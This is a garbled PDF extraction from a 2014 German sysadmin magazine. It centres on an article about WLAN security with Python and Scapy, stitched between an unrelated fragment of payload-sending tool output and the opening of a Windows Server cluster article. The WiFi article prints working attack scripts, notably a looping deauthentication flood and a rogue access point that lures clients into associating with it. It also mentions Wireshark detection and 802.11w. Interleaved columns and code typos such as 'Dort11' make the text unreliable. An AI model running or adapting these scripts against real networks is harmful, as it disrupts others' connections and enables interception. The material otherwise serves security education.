31 [*] Please enter the password for the supplied user name:<br />

32 >ISE<br />

33 <br />

34 [*] Preparing mailcious web request<br />

35 [*] Sucessfully built HTTP Post request<br />

36 [*] Preparing to send Evil PAYloAd to 192.168.1.1 on port 80<br />

37 [*] Payload Length: 256<br />

38 [*] Waiting ...<br />

39 [*] Server Response: HTTP 200 OK. Get read


46<br />

Wireless Security<br />

WiFi-Security<br />

Joachim Wendler , 123RF<br />

WLAN-Sicherheit <strong>mit</strong> Python-Skripten erforschen<br />

Lauschangriff<br />

WiFi ist heute allgegenwärtig. Es steckt nicht nur im heimischen WLAN-Router oder in so gut wie jedem<br />

Smartphone, auch in Werbetafeln und Überwachungskameras, in der Abfahrtszeitenanzeige an Haltestellen<br />

und sogar in Medizintechnik. Wenige Zeilen Python reichen, um der Sicherheit dieser Anwendungen<br />

auf den Zahn zu fühlen. Bastian Ballmann<br />

WLAN-Netze (802.11) funken abhängig<br />

vom Standard auf den Frequenzen 2,4,<br />

3,6 oder 5 GHz. Am weitesten verbreitet<br />

sind 2,4-GHz-Netze. Dieses Frequenzband<br />

ist dabei je nach Region weiter<br />

in Channel unterteilt. Das WLAN-Netz<br />

lässt sich entweder im Ad-hoc- oder im<br />

Infrastruktur-Modus betreiben. Ad-hoc<br />

bedeutet, dass zwei oder mehr Stationen<br />

direkt <strong>mit</strong>einander kommunizieren<br />

wollen. Beim Infrastruktur-Modus dient<br />

dagegen ein sogenannter Accesspoint<br />

als Ver<strong>mit</strong>tler. Da<strong>mit</strong> ergibt sich hier<br />

eine sternförmige Topologie, in der<br />

der Accesspoint ähnlich wie ein Switch<br />

im Ethernet-Netzwerk agiert. Dieser<br />

Infrastruktur-Modus ist für WLAN-Netze<br />

der Normalfall.<br />

Ein paar Grundlagen<br />

Ein Client hat verschiedene Möglichkeiten,<br />

um sich über verfügbare Netze<br />

zu informieren. Eine Informationsquelle<br />

sind die Beacon-Frames, die der<br />

Accesspoint alle paar Millisekunden<br />

sendet. Jeder dieser Frames enthält<br />

Informationen wie die SSID (also den<br />

Netzwerknamen), die unterstützten<br />

Übertragungsraten und optional noch<br />

weitere Daten wie den verwendeten<br />

Channel und eingesetzte Sicherheitsmechanismen.<br />

Der Client kann aber auch selbst<br />

aktiv werden und sogenannte Probe-<br />

Requests verschicken. Dabei fragt er<br />

entweder explizit nach Netzen, <strong>mit</strong><br />

denen er schon mal verbunden war,<br />

oder er verwendet ein Nullbyte als<br />

SSID (Broadcast-SSID). Der Accesspoint<br />

antwortet darauf <strong>mit</strong> einem Probe-<br />

Response-Paket.<br />

Das Protokoll 802.11 unterscheidet drei<br />

verschiedene Arten von Paketen oder<br />

Abbildung 1: Der Header eines <strong>IEEE</strong>-<br />

802.11-Frames.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

WiFi-Security<br />

47<br />

kunden selbst keinerlei Pakete senden<br />

werden, um Kollisionen zu vermeiden.<br />

Die Destination-Address beinhaltet<br />

die MAC-Adresse der Station, die das<br />

Paket letztendlich erhalten soll. In der<br />

Source-Address steht die Adresse, die<br />

das Paket gesendet hat, und die Receiving-Station-Address<br />

entspricht der Adresse<br />

des Accesspoints oder der Bridge,<br />

die das Paket weiterleiten soll.<br />

Anschließend folgt der Sequence-<br />

Control-Header, der aus einer Fragment-<br />

und einer Sequence-Nummer<br />

besteht. Jedes Datenpaket in einem<br />

802.11-Netzwerk erhält eine eindeutige<br />

Sequence-Nummer. Diese Nummer<br />

wird nicht wie bei TCP per Byte erhöht,<br />

sondern nur per Datenpaket um eins<br />

hochgezählt. Pakete, die zu groß sind<br />

und deswegen in kleinere Fragmente<br />

zerlegt werden, erhalten eine eindeutige<br />

Fragment-Nummer beginnend bei<br />

null. Anders als bei TCP dient die Sequence-Nummer<br />

nicht zum Bestätigen<br />

der Pakete, sondern nur zum Filtern<br />

von Duplikaten.<br />

802.11 sendet Pakete im Ping-Pong-<br />

Verfahren. Jedes gesendete Paket<br />

n Listing 1: Mode-Wechsel<br />

n Tabelle 1: Management-Frame-Subtypes<br />

Nr. Name<br />

0 Association Request<br />

1 Association Response<br />

2 Reassociation Request<br />

3 Reassociation Response<br />

4 Probe Request<br />

5 Probe Response<br />

8 Beacon<br />

9 Announcement Traffic Indication Message<br />

10 Disassociation<br />

11 Authentication<br />

12 Deauthentication<br />

13 Action<br />

Frames, nämlich die Typen Management,<br />

Data und Control. Abbildung 1<br />

zeigt den schematischen Aufbau eines<br />

solchen Frames. Der Typ Management<br />

beinhaltet Pakete wie Beacons, Probe-<br />

Requests und Responses sowie (De-)<br />

Authentication und (De-)Assocciation.<br />

Der Typ Data enthält die eigentlichen<br />

Daten. Control-Pakete dienen dazu, die<br />

Reservierung des Mediums zu steuern<br />

sowie den Erhalt der Daten-Pakete zu<br />

bestätigen.<br />

Der Frame-Control-Header eines Pakets<br />

definiert <strong>mit</strong>hilfe von Typ und Subtyp,<br />

um was für ein Paket es sich handelt.<br />

Management-Frames haben den Typ<br />

0, Control-Frames den Typ 1 und Data-<br />

Frames den Typ 2. Die Bedeutung der<br />

jeweiligen Management-Frame-Subtypen<br />

zeigt die Tabelle 1. Sie können<br />

als Filter in Wireshark sehr nützlich<br />

sein: Zum Beispiel unterdrückt man<br />

<strong>mit</strong> »wlan.fc.subtype!=8« alle Beacon-<br />

Frames.<br />

Der Duration-Header wird vorwiegend<br />

dazu verwendet, anzuzeigen,<br />

wie viele Mikrosekunden das Medium<br />

nach diesem Paket noch belegt ist. Die<br />

Control-Frames Request-to-Send (RTS)<br />

und Clear-to-Send (CTS) dienen dazu,<br />

das Medium zu reservieren. Eine Station,<br />

die viele Daten senden will, kann<br />

vorher ein RTS-Paket <strong>mit</strong> gesetztem<br />

Duration-Header senden. Andere Stationen<br />

werden bei Erhalt eines solchen<br />

Pakets <strong>mit</strong> einem CTS-Paket antworten<br />

und da<strong>mit</strong> anzeigen, dass sie während<br />

der Dauer von soundso vielen Mikrosebraucht<br />

erst eine Bestätigung, bevor<br />

das nächste Paket gesendet werden<br />

kann. Das gilt auch für einzelne Fragmente.<br />

Nicht bestätigte Pakete werden<br />

nach einer kurzen Wartezeit wieder<br />

gesendet (<strong>mit</strong> um eins erhöhtem<br />

Retry-Bit, das ebenfalls Bestandteil des<br />

Frame-Control-Headers ist).<br />

Ein kleiner Sniffer<br />

Einen ersten Eindruck, welche Informationen<br />

Pakete enthalten, die keine Be-<br />

01 root@hercules:/home/jcb# ifconfig wlan0 down<br />

02 root@hercules:/home/jcb# iwconfig wlan0 mode monitor<br />

03 root@hercules:/home/jcb# ifconfig wlan0 up<br />

04 root@hercules:/home/jcb# iwconfig wlan0<br />

05 wlan0 <strong>IEEE</strong> 802.11bgn Mode:Monitor Frequency:2.467 GHz Tx‐Power=20 dBm<br />

06 Retry long li<strong>mit</strong>:7 RTS thr=2347 B Fragment thr:off<br />

07 Power Management:off<br />

n Listing 2: WLAN-Sniffer<br />

01 #!/usr/bin/python<br />

02 <br />

03 import os<br />

04 from scapy.all import *<br />

05 <br />

06 iface = "wlan0"<br />

07 <br />

08 os.system("/sbin/iwconfig " + iface + " mode monitor")<br />

09 <br />

10 # Dump packets that are not beacons, probe request / responses<br />

11 def dump_packet(pkt):<br />

12 if not pkt.haslayer(Dot11Beacon) and \<br />

13 not pkt.haslayer(Dot11ProbeReq) and \<br />

14 not pkt.haslayer(Dot11ProbeResp):<br />

15 print pkt.summary()<br />

16 <br />

17 if pkt.haslayer(Raw):<br />

18 print hexdump(pkt.load)<br />

19 print "\n"<br />

20 <br />

21 while True:<br />

22 for channel in range(1, 14):<br />

23 os.system("/sbin/iwconfig " + iface + " channel " +<br />

str(channel))<br />

24 print "Sniffing on channel " + str(channel)<br />

25 <br />

26 sniff(iface=iface,<br />

27 prn=dump_packet,<br />

28 count=10,<br />

29 timeout=3,<br />

30 store=0)<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


48<br />

Wireless Security<br />

WiFi-Security<br />

Abbildung 2: Beispielhafte Ausgabe des kleinen Sniffer-Programms.<br />

acon-Frames oder Probe-Response-Pakete<br />

sind, ver<strong>mit</strong>telt der WLAN-Sniffer<br />

aus Listing 2. Er benötigt die Bibliothek<br />

Scapy, die sich <strong>mit</strong><br />

pip install scapy<br />

installieren lässt. Der Sniffer lauscht<br />

der Reihe nach auf allen 14 Kanälen,<br />

die bei der 2.4-GHz-Frequenz verfügbar<br />

sind, und sammelt maximal drei Sekunden<br />

lang Pakete. Da<strong>mit</strong> die WLAN-Karte<br />

n Listing 3: Probe-Frames<br />

01 #!/usr/bin/python<br />

02 <br />

03 from scapy.all import *<br />

04 <br />

05 iface = "wlan0"<br />

06 <br />

07 # Print ssid of probe requests, probe<br />

response<br />

08 # or association request<br />

09 def handle_packet(packet):<br />

10 if packet.haslayer(Dot11ProbeReq) or \<br />

n Listing 4: Deauth-Pakete<br />

01 #!/usr/bin/python<br />

02 <br />

03 import time<br />

04 from scapy.all import *<br />

05 <br />

06 iface = "mon0"<br />

07 timeout = 1<br />

08 <br />

09 if len(sys.argv) < 2:<br />

10 print sys.argv[0] + " [client]"<br />

11 sys.exit(0)<br />

12 else:<br />

13 bssid = sys.argv[1]<br />

14 <br />

15 if len(sys.argv) == 3:<br />

auch Pakete beachtet,<br />

die nicht an sie adressiert<br />

sind, muss sie<br />

zuvor <strong>mit</strong><br />

ifwconfig wlan0 mode U<br />

monitor<br />

in einen Zustand geschaltet<br />

werden, der<br />

<strong>mit</strong> dem Promiscuous<br />

Mode bei kabelgebundenen<br />

Ethernet-<br />

Interfaces vergleichbar<br />

ist. Dabei mag es übrigens vorkommen,<br />

dass die Karte keinen Wechsel in den<br />

Monitor-Modus zulässt, solange sie benutzt<br />

wird. Die Quittung lautet dann:<br />

SET failed on device wlan0 ; U<br />

Device or resource busy.<br />

Unter Linux schafft dann eine Prozedur<br />

Abhilfe, wie sie Listing 1 zeigt.<br />

Falls vor Erreichen des Timeouts schon<br />

zehn Pakete aufgezeichnet wurden,<br />

11 packet.haslayer(Dot11ProbeResp) or \<br />

12 packet.haslayer(Dot11AssoReq):<br />

13 print "Found SSID " + packet.info<br />

14 <br />

15 # Set device into monitor mode<br />

16 os.system("iwconfig " + iface + " mode<br />

monitor")<br />

17 <br />

18 # Start sniffing<br />

19 print "Sniffing on interface " + iface<br />

20 sniff(iface=iface, prn=handle_packet)<br />

16 dest = sys.argv[2]<br />

17 else:<br />

18 dest = "ff:ff:ff:ff:ff:ff"<br />

19 <br />

20 pkt = RadioTap() / \<br />

21 Dot11(subtype=0xc,<br />

22 addr1=dest, addr2=bssid, addr3=bssid)<br />

/ \<br />

23 Dot11Deauth(reason=3)<br />

24 <br />

25 while True:<br />

26 print "Sending deauth to " + dest<br />

27 sendp(pkt, iface=iface)<br />

28 time.sleep(timeout)<br />

springt das Programm einen Channel<br />

weiter. Für jedes eingelesene Paket ruft<br />

der Sniffer die Funktion »dump_packet()«<br />

auf. Handelt es sich bei dem<br />

eingelesenen Paket nicht um einen<br />

Beacon-Frame, ein Probe-Requestoder<br />

Probe-Response-Paket, werden<br />

die Source- und Destination-Adressen<br />

sowie die enthaltenen Layer des Pakets<br />

ausgegeben. Eventuell enthaltene weitere<br />

Daten zeigt der Sniffer in Hex und<br />

ASCII an (Abbildung 2).<br />

Sicher weil unsichtbar?<br />

Manche Admins glauben, es sei bereits<br />

ein erster Schutz, die SSID des eigenen<br />

<strong>WLANs</strong> zu verstecken. Wer meint,<br />

das Feature „Hidden SSID“ verberge<br />

das eigene Netz vor einem möglichen<br />

Wardriver, ist allerdings auf dem Holzweg.<br />

Es bewirkt nämlich lediglich, dass<br />

der Accesspoint die SSID nicht mehr in<br />

den Beacon-Frames erwähnt. Aber in<br />

Probe-Request-, Probe-Response- und<br />

Association-Request-Paketen ist die<br />

SSID weiterhin enthalten. Kann der<br />

Angreifer einen kurzzeitigen Disconnect<br />

bewirken, wird sich der Client anschließend<br />

sofort wieder zu verbinden versuchen<br />

und dazu mindestens eins der<br />

eben erwähnten Pakete verwenden.<br />

Davon kann man sich <strong>mit</strong> dem kleinen<br />

Skript aus Listing 3 überzeugen, das<br />

die fraglichen Pakete herausfiltert und<br />

anzeigt.<br />

Ganz Ähnliches gilt übrigens für das<br />

Feature vieler Router, nur Verbindungen<br />

zu bekannten MAC-Adressen<br />

zuzulassen. Sobald sich ein Client <strong>mit</strong><br />

dem Netz verbunden hat, kann man<br />

dessen MAC-Adresse erkennen und<br />

fortan leicht als eigene verwenden. Unsichtbare<br />

SSIDs und die Beschränkung<br />

auf bestimmte MAC-Adressen schützen<br />

also nur solange, wie überhaupt keine<br />

Netzwerkverbindung besteht.<br />

WLAN-Packet-Injection<br />

Die eben erwähnte kurze Unterbrechung<br />

einer WLAN-Verbindung lässt<br />

sich relativ leicht bewerkstelligen,<br />

wenn man selbst 802.11-Pakete aussenden<br />

kann. Dazu wiederum bedarf es<br />

eines Treibers, der diese Fähigkeit hat,<br />

und eines dazu passenden Chipsatzes.<br />

Atheros ist <strong>mit</strong> Abstand der beliebteste<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

WiFi-Security<br />

49<br />

n Listing 5: Man-in-the-Middle<br />

001 #!/usr/bin/python<br />

002 <br />

003 import os<br />

004 import sys<br />

005 import time<br />

006 import getopt<br />

007 from scapy.all import *<br />

008 <br />

009 iface = "wlan0"<br />

010 ssid_filter = []<br />

011 client_addr = None<br />

012 mymac = "aa:bb:cc:aa:bb:cc"<br />

013 <br />

014 <br />

015 # Extract Rates and ESRates from ELT<br />

header<br />

016 def get_rates(packet):<br />

017 rates = "\x82\x84\x0b\x16"<br />

018 esrates = "\x0c\x12\x18"<br />

019 <br />

020 while Dot11Elt in packet:<br />

021 packet = packet[Dot11Elt]<br />

022 <br />

023 if packet.ID == 1:<br />

024 rates = packet.info<br />

025 elif packet.ID == 50:<br />

026 esrates = packet.info<br />

027 <br />

028 packet = packet.payload<br />

029 <br />

030 return [rates, esrates]<br />

031 <br />

032 <br />

033 def send_probe_response(packet):<br />

034 ssid = packet.info<br />

035 rates = get_rates(packet)<br />

036 channel = "\x07"<br />

037 <br />

038 if ssid_filter and ssid not in ssid_<br />

filter:<br />

039 return<br />

040 <br />

041 print "\n\nSending probe response for<br />

" + ssid + \<br />

042 " to " + str(packet[Dot11].<br />

addr2) + "\n"<br />

043 <br />

044 # addr1 = destination, addr2 = source,<br />

045 # addr3 = access point<br />

046 # dsset sets channel<br />

047 <br />

048 cap="ESS+privacy+short‐preamble+shor<br />

t‐slot"<br />

049 <br />

050 resp = RadioTap() / \<br />

051 Dort11(addr1=packet[Dot11].addr2,<br />

052 addr2=mymac, addr3=mymac) / \<br />

053 Dot11ProbeResp(timestamp=time.<br />

time(),<br />

054 cap=cap) / \<br />

055 Dot11Elt(ID='SSID', info=ssid) / \<br />

056 Dot11Elt(ID="Rates", info=rates[0])<br />

/ \<br />

057 Dot11Elt(ID="DSset",info=channel<br />

) / \<br />

058 Dot11Elt(ID="ESRates",<br />

info=rates[1])<br />

059 <br />

060 sendp(resp, iface=iface)<br />

061 <br />

062 def send_auth_response(packet):<br />

063 # Dont answer our own auth packets<br />

064 if packet[Dot11].addr2 != mymac:<br />

065 print "Sending authentication to "<br />

+ packet[Dot11].addr2<br />

066 <br />

067 res = RadioTap() / \<br />

068 Dot11(addr1=packet[Dot11].addr2,<br />

069 addr2=mymac, addr3=mymac) / \<br />

070 Dot11Auth(algo=0, seqnum=2,<br />

status=0)<br />

071 <br />

072 sendp(res, iface=iface)<br />

073 <br />

074 def send_association_response(packet):<br />

075 if ssid_filter and ssid not in ssid_<br />

filter:<br />

076 return<br />

077 <br />

078 ssid = packet.info<br />

079 rates = get_rates(packet)<br />

080 print "Sending Association response<br />

for " + ssid + \<br />

081 " to " + packet[Dot11].addr2<br />

082 <br />

083 res = RadioTap() / \<br />

084 Dot11(addr1=packet[Dot11].addr2,<br />

085 addr2=mymac, addr3=mymac) / \<br />

086 Dot11AssoResp(AID=2) / \<br />

087 Dot11Elt(ID="Rates", info=rates[0])<br />

/ \<br />

088 Dot11Elt(ID="ESRates",<br />

info=rates[1])<br />

089 <br />

090 sendp(res, iface=iface)<br />

091 <br />

092 # This function is called for every<br />

captured packet<br />

093 def handle_packet(packet):<br />

094 sys.stdout.write(".")<br />

095 sys.stdout.flush()<br />

096 <br />

097 if client_addr and packet.addr2 !=<br />

client_addr:<br />

098 return<br />

099 <br />

100 # Got probe request?<br />

101 if packet.haslayer(Dot11ProbeReq):<br />

102 send_probe_response(packet)<br />

103 <br />

104 # Got authenticaton request<br />

105 elif packet.haslayer(Dot11Auth):<br />

106 send_auth_response(packet)<br />

107 <br />

108 # Got association request<br />

109 elif packet.haslayer(Dot11AssoReq):<br />

110 send_association_response(packet)<br />

111 <br />

112 def usage():<br />

113 print sys.argv[0]<br />

114 print """<br />

115 ‐a (optional)<br />

116 ‐i (optional)<br />

117 ‐m (optional)<br />

118 ‐s (optional)<br />

119 """<br />

120 sys.exit(1)<br />

121 <br />

122 # Parsing parameter<br />

123 if len(sys.argv) == 2 and sys.argv[1] ==<br />

"‐‐help":<br />

124 usage()<br />

125 <br />

126 try:<br />

127 cmd_opts = "a:i:m:s:"<br />

128 opts, args = getopt.getopt(sys.<br />

argv[1:], cmd_opts)<br />

129 except getopt.GetoptError:<br />

130 usage()<br />

131 <br />

132 for opt in opts:<br />

133 if opt[0] == "‐a":<br />

134 client_addr = opt[1]<br />

135 elif opt[0] == "‐i":<br />

136 iface = opt[1]<br />

137 elif opt[0] == "‐m":<br />

138 my_mac = opt[1]<br />

139 elif opt[0] == "‐s":<br />

140 ssid_filter = opt[1].split(",")<br />

141 else:<br />

142 usage()<br />

143 <br />

144 os.system("iwconfig " + iface + " mode<br />

monitor")<br />

145 <br />

146 # Start sniffing<br />

147 print "Sniffing on interface " + iface<br />

148 sniff(iface=iface, prn=handle_packet)<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


50<br />

Wireless Security<br />

WiFi-Security<br />

n Info<br />

n Autor<br />

Chipsatz, aber andere sind auch verwendbar.<br />

Je nach Chipsatz kommen<br />

andere Treiber zum Einsatz wie zum<br />

Beispiel Hostap, Madwifi, Ath5k und<br />

Ath9k.<br />

Den Chipsatz der eigenen WLAN-<br />

Karte oder des WLAN-Sticks findet<br />

man am einfachsten <strong>mit</strong> dem Befehl<br />

»lspci« oder »lsusb« heraus. Alternativ<br />

kann man auch in den Ausgaben von<br />

»dmesg« fündig werden. Eine Anleitung<br />

dafür und zur Überprüfung der Kompatibilität<br />

findet sich beispielsweise unter<br />

[1], auch die Madwifi-Kompatibilitätsliste<br />

hilft weiter [2]. Mithilfe des Tools<br />

»airmon_ng« lässt sich abschließend<br />

testen, ob alles funktioniert:<br />

;<br />

airmon‐ng start wlan0<br />

aireplay‐ng ‐‐test mon0<br />

Das Ergebnis sollte ungefähr so aussehen:<br />

16:37:00 Trying broadcast probe<br />

requests...<br />

16:37:00 Injection is working!<br />

Hatte man von vornherein einen passenden<br />

Treiber und Chipsatz oder<br />

konnte man zumindest den eigenen<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31724<br />

[1] WLAN-Treiber-Patches: [http:// www.​<br />

aircrack‐ng. org/ doku. php? id=compatibility_<br />

drivers& DokuWiki=a990734b0e16b5d9b200c<br />

cc4e59d821b]<br />

[2] Madwifi-Kompatibilitätsliste: [http://​<br />

madwifi‐project. org/ wiki/ Compatibility]<br />

Bastian Ballmann arbeitet als System<br />

Engineer bei der Informatik-Support-<br />

Gruppe des Departments für Informatik<br />

der ETH Zürich. Er ist Autor des Buches<br />

"Network Hacks - Intensivkurs: Angriff<br />

und Verteidigung <strong>mit</strong> Python".<br />

Treiber erfolgreich patchen, kann es<br />

losgehen. Um wie angekündigt zu<br />

bewirken, dass die Verbindung eines<br />

Clients <strong>mit</strong> einem WLAN unterbrochen<br />

wird, dessen SSID der Admin auf der<br />

Kommandozeile übergeben kann, sendet<br />

das Skript aus Listing 4 ein Deauth-<br />

Paket. Als Grund für den Verbindungsabbruch<br />

wird der Code »3« angegeben,<br />

was bedeutet, dass sich der Accesspoint<br />

angeblich ausschalten will.<br />

Das konstruierte Paket wird in einer<br />

Endlosschleife verschickt, wobei zwischen<br />

dem Versenden der Pakete im<br />

Beispiel immer ein Timeout von einer<br />

Sekunde abgewartet wird. Derartige<br />

Deauth-Angriffe erkennt man am<br />

einfachsten <strong>mit</strong> einem Sniffer wie Wireshark<br />

und dem Filter<br />

wlan.fc.subtype == 0x0c<br />

Dem Autor ist als einzige Schutzmaßnahme<br />

ein kompletter Umstieg auf<br />

802.11w bekannt.<br />

Man-in-the-Middle<br />

Das nächste Skript soll auf Probe-<br />

Request-Pakete warten und <strong>mit</strong> einem<br />

gefälschten Probe-Response-Paket<br />

antworten, genauso als wäre es ein Accesspoint<br />

für dieses Netz. Anschließend<br />

wird der gesamte Anmelde-Prozess<br />

simuliert. Dadurch lenkt man Clients<br />

für beliebige Netze auf den eigenen<br />

Rechner um. Der Einfachheit halber<br />

verzichtet dieser Beitrag darauf, auch<br />

die nachfolgenden Data-Frames zu<br />

fälschen und er implementiert auch<br />

keinen DHCP-Server oder ähnliche<br />

Dienste.<br />

Sollte die Attacke beim ersten Versuch<br />

nicht gelingen, kann das daran liegen,<br />

dass der Angreifer entweder zu weit<br />

vom Client entfernt ist oder der Traffic<br />

in der Umgebung zu hoch ist, sodass<br />

Scapy zu langsam antwortet. Letzteres<br />

lässt sich dadurch abmildern, dass das<br />

Programm <strong>mit</strong> dem Parameter »‐s« gestartet<br />

wird, um es auf eine oder mehrere<br />

SSIDs zu beschränken. Zusätzlich<br />

kann man es <strong>mit</strong> dem Parameter »‐a«<br />

auf einen Client festlegen.<br />

In Listing 5 wird die Karte zuerst wieder<br />

in den Monitor-Modus geschaltet und<br />

der Netzwerkverkehr eingelesen. Dabei<br />

ruft das Skript für jedes Paket die<br />

Funktion »handle_packet()« auf und<br />

untersucht, um welche Art Paket es sich<br />

handelt. War es ein Probe-Request,<br />

sendet das Skript <strong>mit</strong>hilfe der Funktion<br />

»send_probe_response« ein Probe-<br />

Response-Paket zurück.<br />

Via Dot11Elt-Header werden Eigenschaften<br />

wie die SSID, die zur Verfügung<br />

stehenden Übertragungsraten<br />

(»Rates«), der Channel (»DSset«) und<br />

die erweiterten Übertragungsraten<br />

(»ESRates«) gesetzt. Die Übertragungsraten<br />

er<strong>mit</strong>telt das Skript vorher<br />

aus dem Probe-Request-Paket in der<br />

Funktion »get_rates()« . Findet es keine,<br />

gibt die Funktion zwei Standardwerte<br />

zurück, die für die Raten 1, 2, 5.5 und 11<br />

MBit stehen. Weitere Elt-Header oder<br />

andere Übertragungsraten können am<br />

einfachsten <strong>mit</strong> Wireshark aus realem<br />

WLAN-Verkehr <strong>mit</strong>gelesen werden.<br />

Hat die Funktion »handle_packet()« ein<br />

Authentication-Paket erhalten, kommt<br />

die Funktion »send_auth_response«<br />

zum Zug, die als Erstes überprüft, ob<br />

das Paket vom agierenden Skript selbst<br />

stammt. Die Authentication-Phase<br />

kennt nämlich keine unterschiedlichen<br />

Request- und Response-Pakete; sie<br />

unterscheiden sich nur in der Sequenznummer.<br />

Eins bedeutet Request, zwei<br />

steht für Response.<br />

Bei einem eingelesenen Association-<br />

Request-Paket wird dagegen die Funktion<br />

»send_association_response()«<br />

bemüht. Sie erzeugt ein Association-<br />

Response-Paket und setzt die Übertragungsraten<br />

im Elt-Header.<br />

Fazit<br />

Schon dieser kleine Exkurs in die WiFi-<br />

Welt zeigt, dass es eine ganze Reihe<br />

Angriffspunkte auf WiFi-Verbindungen<br />

gibt, die ohne allzu großen Aufwand<br />

ausnutzbar sind. Eine Verbesserung<br />

brachte die 2009 verabschiedete Standarderweiterung<br />

802.11w, die Protected<br />

Management Frames definiert und<br />

außerdem WPA2 <strong>mit</strong> AES voraussetzt.<br />

Angriffe wie die oben vorgestellte<br />

Deauth-Attacke sind da<strong>mit</strong> nicht mehr<br />

möglich. Allerdings müssen sowohl<br />

Accesspoint wie Client diesen Standard<br />

unterstützen. Bis jetzt hat er sich nicht<br />

breit durchgesetzt. (jcb) n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Jakub Gojda, 123RF<br />

Cluster <strong>mit</strong> Windows Server 2012 R2<br />

Zusammen stark<br />

Mit Windows lassen sich hochverfügbare Cluster auf Knopfdruck erstellen – ob virtuell oder real. Auf<br />

Wunsch übernimmt der Cluster sogar die vollautomatische, unterbrechungsfreie Aktualisierung von<br />

Betriebssystem und Server-Software. Thomas Joos<br />

Der Windows Server 2012 R2 bietet<br />

bereits in der Standard-Edition die<br />

Möglichkeit, einen Cluster aufzubauen.<br />

Das geht zwar auch bereits <strong>mit</strong> Windows<br />

Server 2012, aber nicht <strong>mit</strong> den<br />

Vorgängerversionen. Neu in Windows<br />

Server 2012 R2 ist die Option, einen<br />

Cluster auch auf Basis von virtuellen<br />

Servern aufzubauen und als gemeinsame<br />

Datenträger virtuelle Festplatten<br />

zu definieren. Diese neue Möglichkeit<br />

basiert auf den Neuerungen von VHDX-<br />

Festplatten in Windows Server 2012 R2,<br />

die kürzlich bereits Thema im <strong>ADMIN</strong><br />

waren [1].<br />

Wir zeigen, wie Sie einen Cluster <strong>mit</strong><br />

Windows Server 2012 R2 aufbauen und<br />

einrichten. Der Ablauf ist bei virtuellen<br />

Servern und physischen Maschinen<br />

weitgehend gleich. Der Unterschied<br />

besteht nur in der Konfiguration von<br />

virtuellen Festplatten als Shared-VHDX-<br />

Dateien. Sie können natürlich weiterhin<br />

für Cluster andere gemeinsame Datenträger<br />

einsetzen, auch wenn Sie einen<br />

virtuellen Cluster betreiben.<br />

Darüber hinaus gibt es seit Windows<br />

Server 2012 auch die Möglichkeit, auf<br />

einem Server VHD-Festplatten als<br />

gemeinsamen Cluster-Speicher auf<br />

iSCSI-Basis zu definieren. Ab Windows<br />

Server 2012 R2 funktioniert dies auch<br />

<strong>mit</strong> VHDX-Festplatten. Ein Vorteil von<br />

iSCSI-Zielen als gemeinsamer Datenträger<br />

ist, dass sich auch physische<br />

Cluster anbinden lassen, während<br />

die gemeinsamen VHDX-Festplatten<br />

(Shared-VHDX) nur virtuelle Cluster unterstützen.<br />

Live-Migration und Co.<br />

Unternehmen, die Server <strong>mit</strong> Hyper-V<br />

virtualisieren und Hochverfügbarkeit<br />

erreichen wollen, setzen dazu auf die<br />

Live-Migration von VMs im Cluster. Live-<br />

Migration lässt sich allerdings nur <strong>mit</strong><br />

einem physischen, gemeinsamen Datenträger<br />

oder <strong>mit</strong> iSCSI-Zielen bereitstellen.<br />

Die gemeinsamen Festplatten<br />

auf Basis von Shared-VHDX unterstützen<br />

keine Cluster für die Live-Migration<br />

in Hyper-V.<br />

Betreiben Sie Hyper-V in einem Cluster,<br />

können Sie <strong>sicher</strong>stellen, dass beim<br />

Ausfall eines physischen Hosts alle<br />

virtuellen Server durch einen weiteren<br />

Host automatisch übernommen werden.<br />

Dazu betreiben Sie die virtuellen<br />

Server als Cluster-Ressourcen. Beim<br />

Einsatz von virtuellen Clustern können<br />

Sie Fehler in Servern ebenfalls abfangen,<br />

allerdings keine Fehler der Hardware,<br />

da der Cluster virtuell abgebildet<br />

ist. Natürlich können Sie die virtuellen<br />

Cluster-Knoten auch auf physischen<br />

Clustern betreiben. In diesem Fall sind<br />

die virtuellen Server vor Ausfall der<br />

Hardware geschützt und die virtuellen<br />

Cluster-Dienste, zum Beispiel ein Dateiserver,<br />

vor dem Ausfall des virtuellen<br />

Betriebssystems auf einem virtuellen<br />

Cluster-Knoten.<br />

iSCSI-Ziele<br />

Windows Server 2012 R2 stellt virtuelle<br />

Festplatten auf Basis von VHDX-<br />

Dateien als iSCSI-Ziel im Netzwerk<br />

zur Verfügung (Abbildung 1). Diese<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Windows-Cluster<br />

53<br />

virtuellen Festplatten können als gemeinsamer<br />

Datenträger für Cluster<br />

dienen. Um Festplatten als iSCSI-Target<br />

bereitzustellen, installieren Sie über<br />

den Server-Manager <strong>mit</strong> »Verwalten/<br />

Rollen und Features hinzufügen« den<br />

Rollendienst »iSCSI‐Zielserver« über<br />

»Datei‐ und Speicherdienste/Datei‐ und<br />

iSCSI‐Dienste«. Nach der Installation<br />

des Rollendienstes können Sie über<br />

den Server-Manager und der Auswahl<br />

von »Datei‐/Speicherdienste/iSCSI«<br />

virtuelle Festplatten erstellen und diese<br />

als iSCSI-Ziel im Netzwerk anbieten.<br />

Dazu verwenden Sie am besten einen<br />

Server im Netzwerk, der nicht Bestandteil<br />

des Clusters ist.<br />

Im Rahmen der Einrichtung legen Sie<br />

die Größe und den Speicherort der<br />

VHD(X)-Datei fest. Außerdem können<br />

Sie über den Assistenten steuern,<br />

welche Server im Netzwerk auf das<br />

iSCSI-Ziel zugreifen dürfen. Wollen Sie<br />

die Festplatten als Cluster-Datenträger<br />

<strong>nutzen</strong>, können Sie hier den Zugriff einschränken.<br />

Mit einem einzelnen iSCSI-<br />

Ziel können Sie auch mehrere virtuelle<br />

iSCSI-Festplatten auf einem Server zur<br />

Verfügung stellen. Dazu starten Sie den<br />

Assistenten einfach neu und wählen ein<br />

bereits vorhandenes Ziel aus.<br />

Haben Sie die einzelnen virtuellen Festplatten<br />

erzeugt und iSCSI-Ziel(en) zugewiesen,<br />

können Sie sie <strong>mit</strong> den Cluster-<br />

Knoten verbinden. Die virtuellen Festplatten<br />

werden nach der Anbindung in<br />

der lokalen Datenträgerverwaltung des<br />

entsprechenden Servers als normale<br />

Laufwerke angezeigt und entsprechend<br />

